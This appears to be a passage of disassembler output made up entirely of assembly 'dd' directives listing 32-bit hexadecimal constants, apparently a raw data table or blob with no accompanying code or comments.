		dd 23C222DEh, 8906F0AAh, 5031BCA8h, 2EE5ACAEh, 0AAC3D7C0h
		dd 4428D89Fh, 0F6CDABA9h, 0E027C6Bh, 9D720EA5h,	3F2D88CAh
		dd 4B4D1488h, 756A1C4Ah, 0A95AABA5h, 0C1CFD0DEh, 0C84D060h
		dd 9EEB5ACEh, 58374D0Fh, 543F13h, 74623D45h, 0E16C13DFh
		dd 81812435h, 0C58D3BC3h, 566EAD73h, 3DECD380h,	1EA4230Fh
		dd 0B6DCA63Bh, 0DCF2A7E1h, 0F0682109h, 7E91F6FEh, 0EBB08401h
		dd 305BB537h, 35F3E075h, 0E6FADC61h, 0D9AB4EE3h, 0C213D404h
		dd 368F6293h, 3A54E186h, 0BD77B066h, 0FE966270h, 1014F679h
		dd 38A372D2h, 8AA3FD9Dh, 2D5EF45Fh, 11AA3237h, 1381ED82h
		dd 359589E7h, 0FA0C7723h, 6FFAA7B5h, 31706E73h,	2BE00AFh
		dd 326D4D31h, 450D992Dh, 0AB45E1A4h, 3FCE9A91h,	0F73B948Fh
		dd 14910BCDh, 34180472h, 0A0A9FA81h, 0A40C601Ch, 0D49E3EC7h
		dd 352428C8h, 0A3A5B6FAh, 98AC3DDFh, 6B31D4A0h,	6C332E2Ah
		dd 64F68DE3h, 7DAC1B1Ah, 0F9565BB8h, 515C2653h,	3FA874ACh
		dd 294A65E9h, 0A3D18E33h, 8151305Ch, 31773FBEh,	527F0CD7h
		dd 72052206h, 17EDE6Fh,	9E4A5657h, 0B5936EFBh, 805E5979h
		dd 0ECA23FEDh, 0E444A6C7h, 210FC518h, 8FEF7AF4h, 3A70E0DCh
		dd 1852F9A7h, 0DC16504Fh, 55B31865h, 89FF18FEh,	29CFCD51h
		dd 4E3E489Fh, 52CF2A9Ch, 5369659Ah, 0DA9AE4E0h,	14AF80B8h
		dd 593F3E7Eh, 0AFA6F3CDh, 0BE92B5FAh, 801DA958h, 295F06D4h
		dd 0E7D97D1Ch, 2AEF82C4h, 0AE70A6CFh, 67B33CD0h, 591DE16Eh
		dd 6CE34687h, 0E9E3601h, 0AA576DC7h, 4ECF3BC7h,	9EE714BDh
		dd 0DBBF6F9Eh, 0B87EF53Bh, 0D25531EAh, 0DFCF508Dh, 84A01773h
		dd 759D841Bh, 8C721F4Dh, 665B7C5Bh, 2159C978h, 0EA9F075Dh
		dd 9CE4D95Ah, 0F31670B6h, 4EECE53Fh, 45F758E7h,	483A1E03h
		dd 2D2DCFC8h, 0FCC9A56Ch, 0E0B80F75h, 0B508666Ch, 4D3A67A4h
		dd 8ADA63C5h, 74A72728h, 45AFDAF3h, 0EB25F655h,	23D69AA2h
		dd 52A97BC5h, 0F61D420Ch, 0A352F5B8h, 0E4DE08FAh, 0A2559013h
		dd 665C0F3Eh, 2B828E5Dh, 8681986Eh, 0CD68420Dh,	9CAD7C2Bh
		dd 774E5E44h, 0C27AF788h, 0A6A81Ch, 0C61735BEh,	17A3EC53h
		dd 1831D5FFh, 0EFF8C502h, 700B9A28h, 378D6820h,	1F41216Dh
		dd 0A6AAF55Ah, 0B2F5291Ch, 0A8E91483h, 0BCA1D99Bh, 0C6DF76B5h
		dd 0C5C44936h, 5A8C226Dh, 7C3449ACh, 1CB35DC2h,	9737BEh
		dd 5F1738D8h, 291D428h,	6E35D624h, 7E78D2FEh, 22B31BFh
		dd 53A250E4h, 0A4345094h, 0DD43FB02h, 0FFDE43A8h, 563B36B4h
		dd 1DC44922h, 0C0E6B316h, 0C188CE7Ah, 0D1F92A40h, 0DF0B3373h
		dd 9B7D6400h, 0F575B5DEh, 0C31F5E8Dh, 14E8ABCCh, 394BC25Dh
		dd 55A1FD1Ch, 8A4967DAh, 1F062A2Eh, 4EA4F67h, 0B0729CCFh
		dd 8F37AEB3h, 739237E9h, 0D86692BFh, 1BF853CAh,	0DDBC8A3Eh
		dd 9E8F9187h, 5C93E9F0h, 2300148Ch, 0FFB9F0A1h,	97013BF8h
		dd 0CEFF1A0Dh, 0A1B982D6h, 739B4DC3h, 0F7890F81h, 51F5FEB7h
		dd 4708EF9Ch, 4FA47513h, 4B79D37Ah, 429BDEAAh, 78A989ADh
		dd 7B6570C1h, 6009F7DFh
		dd 23D22A3Fh, 2A74D0B7h, 6903B873h, 515CF18Dh, 23BEC22h
		dd 332FAD27h, 791F8502h, 8A73350Bh, 0F654DA3Ch,	0C754154Eh
		dd 82F4248Eh, 0F5FD04B6h, 0DB77494Fh, 5EE19191h, 1D10F8h
		dd 632AB271h, 69E27726h, 0EB9EC9B2h, 0CD58BCE3h, 2967EF40h
		dd 0B1574E74h, 31FB4AC4h, 63DE2775h, 0AF0F97D7h, 46990EBFh
		dd 6B63D484h, 3EBFBE59h, 220E423Dh, 0B075F239h,	0EB15C5FFh
		dd 0F83DC596h, 43D73BA2h, 0AC5A34F4h, 4A6B3CBFh, 29FAA2B3h
		dd 56F6DDE3h, 0CB68B024h, 0CE5822FBh, 7663E77h,	0CD4A584Ah
		dd 15A05B10h, 0A081D5FAh, 0FE3DD655h, 4D5FB8C2h, 0F516414Fh
		dd 848F2FE6h, 644DD2E0h, 1B8C47B6h, 0B5975360h,	254B14F0h
		dd 0F52D1C7Ah, 0F5A3DC44h, 4727A979h, 0D88D6193h, 0B5984C44h
		dd 0D35A56F0h, 7391495Eh, 46A46307h, 6DCF8518h,	0ADF31F0Ch
		dd 0A92D690Ch, 869EA8F5h, 0DECC8029h, 0A07587D7h, 0FFEE8E59h
		dd 57B699A6h, 976BE423h, 700C7EA0h, 1971675Fh, 4801523Ah
		dd 9709394h, 0D5387BD6h, 28665401h, 0FA2F4C82h,	7E18BC01h
		dd 0D092584Eh, 0EDA281A1h, 0B3515B7Bh, 738F6F83h, 3AE00255h
		dd 0A4D3DB8Ah, 0F84706F2h, 9CF30476h, 0E1571C18h, 0D0443420h
		dd 44AD5F97h, 65E84908h, 803EE676h, 7AF18B99h, 948673Bh
		dd 2338C552h, 0E14E531Ch, 0FA992540h, 57110CEAh, 6B76CC83h
		dd 0E1389B48h, 2306CCF1h, 0B2A3D777h, 5955F809h, 84A499CCh
		dd 6E2BD512h, 0A8F413ADh, 6BABA52Dh, 3948E422h,	2F0DB9C8h
		dd 0AE93409Dh, 8ECB1969h, 202EB674h, 8F251FBh, 88E40170h
		dd 346EB1E5h, 0CD5B07C0h, 0D063F5Dh, 0DA93753Dh, 2787EDA3h
		dd 828A4227h, 0E84BEC19h, 0A0973782h, 4A4BB611h, 0FF0195E7h
		dd 0B7998556h, 294682C5h, 0C02151F2h, 0E9D5B099h, 12CAEE6Ah
		dd 43DB51F6h, 0D54E4555h, 7DC77B55h, 3A77B0D5h,	0F5FEFAFDh
		dd 2235ABADh, 3AC502E6h, 4F65F08Bh, 0AD7F6B3Eh,	85502617h
		dd 0F960BBFDh, 0FBFF40EFh, 31C91547h, 8A6AA613h, 59F2E0EBh
		dd 1C8D6EAAh, 87830362h, 842F7765h, 133D5804h, 0CE9423E6h
		dd 85EF990Ah, 0D5DFC9A4h, 0F9F6CF8Dh, 0E0BB43DDh, 0DAFCF10Ah
		dd 0F6C1A34Ch, 0A57669FCh, 5E79073Ah, 5D95AB44h, 0D96A91h
		dd 0C8F650B9h, 2A0A75D0h, 8593C637h, 215EC7AAh,	0F8F3DBBh
		dd 0E40FAC40h, 97E7154Ch, 0BC9934CFh, 0A5049B64h, 4FA2A686h
		dd 0B52B6F36h, 70917AFEh, 5127F82Bh, 0F415110Fh, 0B6E0F5F8h
		dd 0A59F347Ch, 919FA76Eh, 0D328D821h, 98B62B01h, 0AA880DEAh
		dd 49BDB045h, 0A8D76149h, 22EEE7AFh, 757D0BC7h,	2CAAFBB6h
		dd 5232F51Bh, 53DF2513h, 1E438C29h, 0C30E3079h,	889D136Bh
		dd 0AF223045h, 0EF640C84h, 369CCC43h, 234814FDh, 1D5323E5h
		dd 69F2B583h, 0EC17E607h, 0B8D7820Bh, 386ACA5Fh, 2298AD65h
		dd 463AE784h, 0BD7C6A33h, 0D0CF27A1h, 2F6B6C16h, 1D76E211h
		dd 0B2751DBBh, 0D22E7DF7h, 0BA625E19h, 9FB8B478h, 88221CBAh
		dd 204C2AC8h, 0C9A24CBDh, 2DF81DAFh, 590DFF48h,	7F962238h
		dd 0FE122559h, 7854FAA8h, 0AAE28C40h, 0B223A8ECh, 0D6905323h
		dd 0F0F40511h, 7039FBB5h, 7F52EE44h, 0A0071781h, 5AF01160h
		dd 294952BAh, 9CBB0479h, 0F4E4EC9Ah, 0B2F54D21h, 49500086h
		dd 4B42DD3Ch, 3939D6B5h, 525CF7F1h, 3AE63231h, 31D83A8Bh
		dd 4B4B831Fh, 2EEAD63Ch, 0DADCED15h, 0B3DC87C6h, 5A8D7FA2h
		dd 80F3F99Fh, 0B85C12D4h, 0D339A3BDh, 4EE3E5A2h, 7F025291h
		dd 0E620413h, 7D29380Dh, 919CEF25h, 0F875C0F9h,	0CFDAAFAh
		dd 8A118746h, 0D825A8FAh, 1435DFE3h, 0D19326BDh, 289D7421h
		dd 0BD9185AAh, 2697DDh,	4FC44C84h, 3C6133B5h, 1BCDFFC3h
		dd 1ABA6BBBh, 0CC5E351Eh, 0A2F64020h, 2121A1D0h, 0A12C6B5Fh
		dd 0BB0B6C9Dh, 0A456AC46h, 69D15A0Ah, 440C656Dh, 11F63ACFh
		dd 0AA857A15h, 0E3846B6Ah, 0B136AF4Ah, 0A671A49Bh, 24BFB8B6h
		dd 0D74E7019h, 23E5D31Bh, 0AEC9750Ch, 394F8FEEh, 523E5C25h
		dd 9B0D0581h, 3778140Ch, 0AFFDE8A7h, 90ADF7CCh,	40DC159Eh
		dd 5C1B81CEh, 0DFC8A22Ah, 0F7A665B7h, 0D140E47h, 7EE2528Ch
		dd 653074E0h, 0F373A991h, 0AA77D01Dh, 32144BB2h, 7C6A98F0h
		dd 4FEE9D6Bh, 260762CEh, 94ACACC4h, 9F0B5FE0h, 4A733580h
		dd 0C494362Eh, 653B36B3h, 6A6A8A67h, 17F47766h,	7DEA696Dh
		dd 948D1975h, 1DA28267h, 17AFB404h, 6F4BED30h, 0CFA53CEAh
		dd 0FE7CD86Eh, 0F7D1BBB3h, 0E8C4FFF1h, 4691F947h, 0A6E2ECB0h
		dd 420428D6h, 987E1F94h, 0D9CF1456h, 7E9FC13Dh,	0AD0C4C05h
		dd 96CA8052h, 6F566D0h,	6E06223Ch, 2E18516Eh, 195A60E7h
		dd 914D6753h, 7AE06E25h, 0D9EE8215h, 0E5A0647Dh, 0A1E60833h
		dd 448142A4h, 0BEAB0DFCh, 0A195D498h, 0D8C476E9h, 4351B4FFh
		dd 5FB41C9Bh, 41F92AA5h, 3E7945B4h, 0D01EC156h,	97481F8Bh
		dd 4D6BC347h, 7EF47157h, 0F92F8F68h, 43C4BD92h,	0D3709EF4h
		dd 84D85064h, 0D80FEFF7h, 3A3EFA1h, 45586B1Ah, 57A59C72h
		dd 64618A67h, 170E7B30h, 9815ADD5h, 6F6393C3h, 0EA0338D9h
		dd 572A0CA0h, 66E83230h, 8EA425F4h, 771FBA1h, 0A9FD3AD4h
		dd 0B555A816h, 7C2734E8h, 0F43CFAh, 2FD70CE3h, 776199A1h
		dd 91889105h, 0E6A397A0h, 89EFBE4Ah, 2E42E96Eh,	4C776182h
		dd 0ADB71B70h, 4F339B9Fh, 8AA48167h, 0EABE6DFEh, 0EE659C13h
		dd 0F49FEDC0h, 0FE0EDA02h, 55E211DBh, 69F03A07h, 7A86A693h
		dd 0C6DF879Bh, 0F8AD57ECh, 728DEFC4h, 0FBE41558h, 2B803801h
		dd 9FA8DCE6h, 60CBDBABh, 2076C136h, 817D3AF8h, 0A7099BDh
		dd 0F4489A3Fh, 4155C674h, 0C69FFE9Fh, 0C44CF3CDh, 0DBBA8840h
		dd 48EF4BAAh, 0E2CA9E83h, 0AB7D8093h, 0C0816AD4h, 0C9D014CAh
		dd 50337301h, 1F076C48h, 871F2EDAh, 41855ACBh, 0AA033FA0h
		dd 0EA4CCFh, 207F787Eh,	0C55C18E9h, 0C2E2B2D3h,	0DFFF21E0h
		dd 0B2409356h, 4D8A2C39h, 72FECA19h, 905729D3h,	42DE0E6Fh
		dd 84FB0341h, 51118378h, 0DE4438F3h, 4F2C6EA7h,	0A33D9114h
		dd 0CB1B5A81h, 0DFEF0370h, 0C0801FD8h, 6E23950Ah, 0ACA2CA91h
		dd 9365109Ah, 545B5320h, 379B2AD7h, 912C3D62h, 0DF555E8Ah
		dd 6E2DA1D5h, 0B9DFF2BFh, 9D0AB0ACh, 0DF3FC4C1h, 2D85C89Ch
		dd 5C9B83CEh, 2686AFCDh, 3B593083h, 22FF90A5h, 26A72571h
		dd 7703866Dh, 3924690Ch, 3881A7ACh, 0A7596437h,	0C5E29EC5h
		dd 2B90DEA2h, 0F802AB95h, 7D81D32Dh, 9CDE70D0h,	0AA167F34h
		dd 9607E5CAh, 929E6580h, 0FD744A06h, 0BA7FDDB8h, 28526982h
		dd 0E23BF69Ch, 4291E6D8h, 47662DAAh, 2DB95CA3h,	55D915A8h
		dd 7C62CB51h, 6B0AAC5Fh, 687D14Fh, 0CA6847FAh, 5F18E2F1h
		dd 2BC2B981h, 1D7875Ah,	1A58CC6Eh, 5D11689Bh, 0C7279C7Eh
		dd 275BD9B0h, 9D62105Ch, 0AD16F4E1h, 2FEA20A7h,	0D7723DE0h
		dd 0C557E253h, 5C461912h, 0D79AD692h, 0CEB76426h, 1847462Dh
		dd 0F8FEEBE1h, 67611853h, 0ADF394B7h, 8CF40720h, 8C261EEAh
		dd 745B45D2h, 94FBBC69h, 3182DB25h, 0AC0A03FAh,	551152EBh
		dd 9D9169F5h, 18D53217h, 725D6973h, 0B2168DF9h,	27294458h
		dd 2444B689h, 0AAD83C8h, 96E10DBEh, 7C1A54A4h, 963D19C6h
		dd 4B170639h, 0D69B70E8h, 32526A04h, 0A7692CB0h, 0F5B82BFAh
		dd 557DE929h, 0A684D878h, 17117511h, 0DD592F5Eh, 860DCA53h
		dd 4089EDEBh, 8A89511Eh, 0AF6AE083h, 23B9E414h,	4328DF02h
		dd 4F7BE66Ah, 0DC90FB61h
		dd 0EDB1B8B6h, 59C58BE1h, 0AA64A74Fh, 78505F92h, 0FC59B2F9h
		dd 0AB727DA3h, 0C7B1BBC8h, 73BE6EFFh, 9C6D8B1h,	5835A376h
		dd 8A15F72Ch, 3618823Ah, 77DDC23Bh, 994C6ABFh, 0FBA2FD83h
		dd 0A309F6AEh, 3EA3042Ah, 0E4072E22h, 0A037B891h, 5D251758h
		dd 0CFFCFB23h, 0F3D170CDh, 7DA5F745h, 2EEC0F5Bh, 0FFE899A4h
		dd 0A1547DBCh, 0D4ECD9ABh, 0CDA972A3h, 0E3A27B10h, 0C0C05F9Eh
		dd 1D243478h, 910E4BBh,	72F191A3h, 2FCF1C16h, 0ACEDDD4Ah
		dd 0E7652DFh, 37406507h, 1CD2E643h, 20EABA30h, 85A4D0A4h
		dd 28F0ECA9h, 74C997ECh, 3A9D0D98h, 5DC0E64Fh, 0E4DACF02h
		dd 6C1D3BCDh, 0ED0B6DE5h, 6C427A4Dh, 16DBE572h,	0F4E211A0h
		dd 65F918F0h, 97C4F8E3h, 8E0F5DDDh, 0DA219A64h,	0E3ECB505h
		dd 0F78DB1E4h, 0CF00591Ch, 0BA5CF08Bh, 85A28B0h, 0F35C69BAh
		dd 76AA76A7h, 0BB0D2878h, 4CA4E35Ah, 0CA3F814Bh, 8038CA2Dh
		dd 0BCF2F04h, 0FD4FA885h, 2B90B098h, 0A26D9AFCh, 9623F06Dh
		dd 268CF223h, 0CEFF3D75h, 204CDABBh, 25C58F5Ah,	9E60924Ah
		dd 0F4C84FD1h, 5BC2E420h, 56C2D4E0h, 0DB0459B4h, 0EE1A674h
		dd 94D06B13h, 91F08F84h, 91F7099Bh, 0FE04E624h,	4EE1ECA0h
		dd 0DE41B79Dh, 0F3A73790h, 6B5B2A1Eh, 0F8901890h, 0FDA9427Dh
		dd 0B688F7BCh, 53E1A18Dh, 0E99902D1h, 0A354D0Ch, 0FC56A466h
		dd 0C49C9Eh, 73F81B41h,	0F1794999h, 95948422h, 989DC849h
		dd 0DFC804B6h, 4F3C9AAAh, 0ADFD5960h, 0E02809EEh, 954045E3h
		dd 0FBE48649h, 1DC05956h, 0AAACB474h, 8852B610h, 9B0E3087h
		dd 0EC9F779Dh, 0ECC4B11h, 0B4F2BCA6h, 47272622h, 2A129A74h
		dd 0F1A8C0CCh, 4F89EC65h, 0AEF44429h, 477355BAh, 0C4DC0446h
		dd 5C4F8A05h, 0CEC4C697h, 0BF17B738h, 0BCA88444h, 0FF7B9610h
		dd 0D6C5D4BEh, 0C00660F2h, 0BD6739AAh, 9C8C12EAh, 50ABCD5Eh
		dd 7B5C3F26h, 8A51CC0Fh, 81E15C75h, 0BD1D5CECh,	0D85F1A8Eh
		dd 5B190F52h, 29E4590Ah, 838B6DB3h, 7EE8C896h, 9C8ADABCh
		dd 1E72CAF7h, 5E15B0DAh, 0A6B46100h, 69CE8056h,	0CC669F00h
		dd 14AE77F5h, 2C6333D4h, 8C456C7Fh, 4BD1B989h, 0DFE5E02Ch
		dd 718409B4h, 66FD6024h, 0ACD181A3h, 3954ED5Eh,	0F8CB71A5h
		dd 0AF8AB3A8h, 415D02A3h, 769BA369h, 71BEE71Dh,	0A737D187h
		dd 28597AEAh, 26F50844h, 0B479FC95h, 8303D439h,	3461F262h
		dd 361A3C70h, 0CE485AC6h, 7712E33Eh, 0D7D1B0EBh, 0A5E8F80Fh
		dd 0A9719C29h, 5A9CE519h, 16710C81h, 0B633E531h, 0A5286326h
		dd 0BADB32EEh, 0AD38FEAh, 8EF28C33h, 7BE830D9h,	0B5620351h
		dd 50D90F91h, 58799E60h, 0E769C91h, 0EA2BCAE4h,	90F69010h
		dd 53A77F9Eh, 825A2E78h, 8C035E9Ch, 0DC78AA57h,	30244407h
		dd 6021EE23h, 7AE3A1AEh, 0CF2474A0h, 66C35B27h,	0FDCF5469h
		dd 27D7C2BAh, 7EF045E7h, 0EFD8F58Eh, 0EE45F2B7h, 0DC0945A5h
		dd 3FAC1175h, 7CAD806Bh, 525BB827h, 70C0052h, 0F9995523h
		dd 6947222Bh, 51525C81h, 0C1566170h, 76F2427h, 0BE14B60Ch
		dd 0A9B61C29h, 120736Bh, 0BA013F35h, 0B5E41A52h, 34931C04h
		dd 69D6E0E5h, 8F1CB218h, 841C5D42h, 0F33AF8E6h,	4D1B7B44h
		dd 89DF0FC4h, 36FB0EABh, 0E6E88301h, 13B6FD76h,	1154FFD0h
		dd 0C02C51A4h, 88E66ED4h, 7ABFE15Dh, 9DA614C5h,	546BD616h
		dd 9B774699h, 0A3C4F302h, 26C46E24h, 0EF82C07Eh, 4F2D835Bh
		dd 30C3A10h, 56CA1707h,	2B17B0C1h, 0ED9C66E0h, 1FB214A9h
		dd 0DF5F607h, 8419AC1Dh, 0EC78323Eh, 0E2C8EC71h, 439DF250h
		dd 15E75FC7h, 5216CC6Eh, 1125CB4Fh, 36DE610h, 37A1D5AEh
		dd 4EBC3EFAh, 50439798h, 4E7D10B7h, 45B1C0Ah, 0AAC8C74Fh
		dd 0AC3ED11Eh, 0C6F53362h, 0BD4609A9h, 63B4C9FCh, 0CDBEA0C7h
		dd 2B5A7038h, 3CE6090Bh, 0F478A1AFh, 8664F135h,	0D74B6D7Ch
		dd 0A3474E9Bh, 0D5D1C66Dh, 0B0AEAA10h, 81A59FD6h, 0FA2C0511h
		dd 4D446F39h, 0CB9C353Ah, 8ED9B469h, 0D0396F52h, 0A1129BBBh
		dd 0B93F90B7h, 0D16FB378h, 0EBF432C1h, 0BA962024h, 432C1356h
		dd 1BB9B67Fh, 0FF7CC679h, 6FC64B66h, 636AD3FDh,	0DBB4D3AEh
		dd 8404020Fh, 0FC4684DAh, 45AFCAFBh, 2CE4D690h,	0C81E365Fh
		dd 54B4F2F1h, 4F11F171h, 4052FBB3h, 70660C5Eh, 231A6691h
		dd 0ADAC1FAAh, 88DF731Fh, 12BC7AE1h, 4225D584h,	0FA9E4CF5h
		dd 39EC2931h, 364A529Dh, 4408AE89h, 3C3B986Eh, 7D146B73h
		dd 424619FBh, 387A03F4h, 80FE1105h, 63FBB267h, 2A9A9BF0h
		dd 96E59F70h, 0E773D389h, 0F6BD5F3Fh, 0DEFD37B3h, 0C6CC5E61h
		dd 0AFBFE4FDh, 0B870553Ch, 8A839918h, 0F0E254A0h, 77C43F79h
		dd 2F80FB01h, 163373C2h, 698EB1F3h, 83B67071h, 0A6F4E075h
		dd 0C35374CEh, 0A4EEC6EDh, 64121AEFh, 37D785Ah,	2F285A55h
		dd 0D35926CCh, 7C16E9E6h, 0B8CC46FCh, 7737A249h, 3C12AE1Ah
		dd 50D54D58h, 0C6E3DF7h, 98F4B317h, 2F64CCE0h, 0D904EB2Ah
		dd 985E852Fh, 0DE06C9EFh, 7C9C8282h, 6831200Fh,	0CE328B89h
		dd 649E8E6Eh, 7A00600h,	68E9BD34h, 3B8E21CDh, 1345AF98h
		dd 8F16EF99h, 0F9358FE7h, 55E3C03Ch, 42BA330Dh,	0B19B579Dh
		dd 7CA1D6EDh, 906A6D02h, 6F898088h, 0C68B9B2Ch,	6AB91FF6h
		dd 627BD93Ch, 0B5FA40Dh, 3B4FF498h, 30C9CA24h, 0F7DC6311h
		dd 6F9F07Ch, 868FA662h,	22937C8Fh, 1CDF846Bh, 0E3C259E3h
		dd 0C8FF1F93h, 6BAA79E3h, 3F493590h, 6254D3F3h,	0A0BD5EC9h
		dd 6508EBD9h, 14399F21h, 0EBBB7FBh, 0AF267C95h,	165B5B60h
		dd 0F9CE7AEDh, 5809251h, 45DFE96Dh, 363F7373h, 0D3EC59Fh
		dd 4C2CC6A4h, 0DD07AF8Ch, 11F6C910h, 0E8F08825h, 0F271773h
		dd 884F9C8Fh, 0CA4B60FFh, 38DEDEC1h, 0C1E82E18h, 93DD651Ch
		dd 48DC7BDEh, 0DA20BEF8h, 82B6ED98h, 0FD4A2A16h, 0DD607A92h
		dd 5CD63AA1h, 0BE96C1F1h, 0A908C4F8h, 1950C138h, 24F6DA2Dh
		dd 1C3B342Eh, 155CD756h, 76F63D95h, 0D2D97083h,	9B5F572Ah
		dd 590263DDh, 0FAA866FBh, 0FA740FF6h, 144DA9ABh, 0F25BBEC6h
		dd 6A738538h, 0C1804D73h, 77D44EA4h, 8C6A4B4Bh,	0AE32BFB8h
		dd 0D8895FB3h, 61DA4100h, 0A1270FCAh, 0A53B828Bh, 4CC82644h
		dd 0C6110B9Ch, 97128874h, 0E558CA32h, 0FCAC4C3Bh, 366FBC2Fh
		dd 764D5FDCh, 826EEC55h, 4D345C26h, 0DDE3DF6Fh,	0EDD294E8h
		dd 0A4ED8F92h, 73B64692h, 5DBA57E4h, 3B376858h,	207AA1Ah
		dd 1F387C54h, 0FBFB24CEh, 3AACD84Bh, 92A5349Eh,	457C0269h
		dd 0C3B1F63Fh, 0F60D9BBCh, 0A0651843h, 0C3ADF33Ch, 6FB576F9h
		dd 0C82A634Ch, 7260B8B4h, 7D73F72Fh, 74B4B5D2h,	5269A7A7h
		dd 96BE31B6h, 0CC48E0C9h, 0D1683B24h, 7C826498h, 55F6C584h
		dd 123B759Eh, 6960F25Ah, 0D217391Dh, 9E5C59A4h,	2C74AD06h
		dd 27EDC0FCh, 398E2C38h, 56323901h, 4F410032h, 9A0A6935h
		dd 0CA0EBFACh, 0DC4AF308h, 0B11126A5h, 92F30B3Bh, 0E48D3588h
		dd 1E52F793h, 0C5321AF1h, 9727535Fh, 70FCAE4Ah,	6E90A52Dh
		dd 0CF042A89h, 5253AFEEh, 0F9B99E32h, 0C820ECCEh, 0BBAEA3F2h
		dd 0F482CF15h, 0D650FCD1h, 157BDEAFh, 5AC02631h, 441091BFh
		dd 8A7C5E92h, 1027E7C4h, 2D39C40Ch, 5BD012Ah, 857F7DBBh
		dd 0A287896Dh, 0F11187F3h, 15122FC1h, 6B97160Ah, 40D58B61h
		dd 0A6784DA7h, 9AE8BA9Eh, 6833EF57h, 69E98640h,	0BAFE3A5Ch
		dd 0ECA33CC5h, 3C409C8Bh, 0DB0495F4h, 0DBB7605Bh, 0C6179093h
		dd 538CEE6Fh, 8B8B082Eh
		dd 20A7D046h, 0BE90FD26h, 65D560F8h, 0B8B6E921h, 2443623Dh
		dd 4BA23488h, 0AF9B54A8h, 0F0BD43EEh, 93CB6AC7h, 0EEAF704Fh
		dd 6E47B601h, 259D1FEEh, 0F0999EAh, 26FAFA12h, 5052FE70h
		dd 9CDB862Fh, 795A9DF4h, 0DE7C743Dh, 7B8AA92h, 0C16D203Bh
		dd 0EEF3E637h, 2858586Ah, 11FCE314h, 0EACD69E5h, 0ACA5683h
		dd 515A1223h, 0CD1C0595h, 1EFD99C9h, 77ED692Eh,	2E06E2FAh
		dd 36850A38h, 6D92F046h, 0C2873E27h, 1DA3D1AAh,	7E172CF0h
		dd 0DE3E8B20h, 58A08AD0h, 0FB104F7Eh, 8E99AE21h, 14B3FFAAh
		dd 92930F95h, 12A5C2E9h, 0BD43CFBFh, 92BF77F8h,	66956F46h
		dd 0E0C44126h, 4EE038EDh, 945A564Bh, 38EB1B0Bh,	1CA1A492h
		dd 0A53833DEh, 9C0F2735h, 77956AB6h, 8458E666h,	0B62A9642h
		dd 0C6096441h, 0A9BDCB62h, 750F9507h, 0A755A11Dh, 10988ED3h
		dd 5D4DA89h, 1A398D92h,	0BE2FDE75h, 8816AC46h, 15A614CBh
		dd 0B902273Fh, 0D1BFE251h, 85EE1FB9h, 9F315CE5h, 0CB8B7245h
		dd 16B5641Bh, 0B671034h, 925A7A5Dh, 532002E1h, 358E3E09h
		dd 86D3739Ah, 1B2B1A90h, 0EF406C31h, 0BD7C8C0h,	4A26B282h
		dd 73655229h, 177B4F67h, 0DEC762E3h, 64E11EBh, 0E4C80E62h
		dd 6582E12Ch, 5DE62600h, 2C5BF5D0h, 0BFE950CFh,	5198C76Fh
		dd 0D2DCB7B1h, 0DEE6CEEh, 0C2FDDC33h, 2CD4926Bh, 3DBDE05Ch
		dd 0B0BF8B27h, 0F6028F41h, 3252C1C8h, 0AD9B3289h, 0C942D917h
		dd 3919EA57h, 76159F3Eh, 0B36A996Bh, 37FBB25Ah,	50657CFh
		dd 0D058A383h, 2CFF27ECh, 0DB1E6554h, 660044F5h, 0AACA2954h
		dd 4AA2F51Bh, 370A962h,	0FC9CFD8h, 3CEB7CEh, 4DF67C62h
		dd 0ACECF446h, 0C4F1CF3Bh, 0E5114313h, 0BA19E0AEh, 0C63BE09Ch
		dd 0D1F24AD5h, 82B318F6h, 0A4F1E3F5h, 81122EEh,	0C5494320h
		dd 7C30CF4Dh, 32FF8C3h,	0BE7AC5F1h, 0D68B4E68h,	412992F7h
		dd 5F00AE54h, 0B0E6862Dh, 5F2B7053h, 0FCC393E0h, 0BC119924h
		dd 257A86C4h, 0BD611216h, 0D2EC5275h, 0B5D6500Bh, 91C32EE4h
		dd 979DA1B5h, 6C182708h, 20074670h, 29298A0Dh, 0A8720A54h
		dd 0B8748981h, 33FA4087h, 4C0819B4h, 40E066FAh,	6F8441B4h
		dd 0A602F4DEh, 6F0AF2ADh, 56ED82ADh, 69073254h,	0F32918E2h
		dd 212C495Ch, 6B2AA4DBh, 0BBB2A4B7h, 2F55E0F5h,	89A6BDABh
		dd 0CCAD63B2h, 0B8CC7543h, 2073E353h, 29041D47h, 0C5563D4Bh
		dd 6749DC21h, 3E74EBBAh, 0FD43451Bh, 0BCD54375h, 5D06F42Eh
		dd 0E090D69Ah, 9648D00Ah, 1479DBC7h, 0E0D0BCA8h, 74C95864h
		dd 78CE2E4Eh, 185DF91Bh, 9C6A9C3Ah, 57CBBA69h, 7F14243Eh
		dd 0EEBCC54h, 9A582766h, 3DD81FE0h, 0E7EAE0F0h,	8123ED78h
		dd 5B41879Dh, 0A52E6595h, 18FBCB49h, 4059B719h,	5CA5F785h
		dd 0A37A6E10h, 0BBEDB55Ch, 99CB2BDEh, 0AA2449D0h, 0B83361BDh
		dd 0F09921C1h, 0EFBDAEDFh, 988BF69h, 0C4A72D82h, 0B49774BAh
		dd 6ED2A0DBh, 6F62FFDCh, 0F79863Dh, 5ADB27ADh, 0A82E17E1h
		dd 8E44697Fh, 0A3A7B455h, 9D2D6B2Fh, 43296269h,	176544Ch
		dd 0FC84979Fh, 45E78A2h, 0AF38256Eh, 6524227h, 1663E62Eh
		dd 50CE3B00h, 5FC1C13Ah, 0F5B24F6Ch, 0BAA6B501h, 0FBF4DAA6h
		dd 200AB176h, 67A7231Eh, 0B9AB6DBCh, 59CC516Ah,	2D6D9819h
		dd 3916BCDBh, 0F5C7037Ch, 0A7834E2h, 14099DC7h,	0D3E5F5D4h
		dd 74185FD1h, 74FA20FBh, 0CD183CC9h, 5505E3A1h,	0BF0912Ah
		dd 0C9DE5125h, 0B294F22Fh, 0FD3BFDE4h, 0E2F0CA33h, 1D8D1871h
		dd 0D6330637h, 5AC861ECh, 0D8579A7Bh, 25490D13h, 687EB998h
		dd 1D792602h, 0CE444049h, 4908E660h, 0FA816DB5h, 0A6BF9E92h
		dd 0BB5AE940h, 61BC4F98h, 0E19B20A6h, 0FB26134Dh, 39FCDB91h
		dd 1FE0D20Ch, 2D4C6279h, 0C85DB4F0h, 5D14E095h,	168FC9BFh
		dd 0F3454296h, 276D68B1h, 6A8FF04Ch, 53AC892Ah,	87F6D6B3h
		dd 0BCB0B153h, 5CD05066h, 57DBF543h, 7F8F810Eh,	0B33E9C01h
		dd 0C6B55A03h, 0F711A7E5h, 9A8149D3h, 0FC3ADE68h, 7A9D2667h
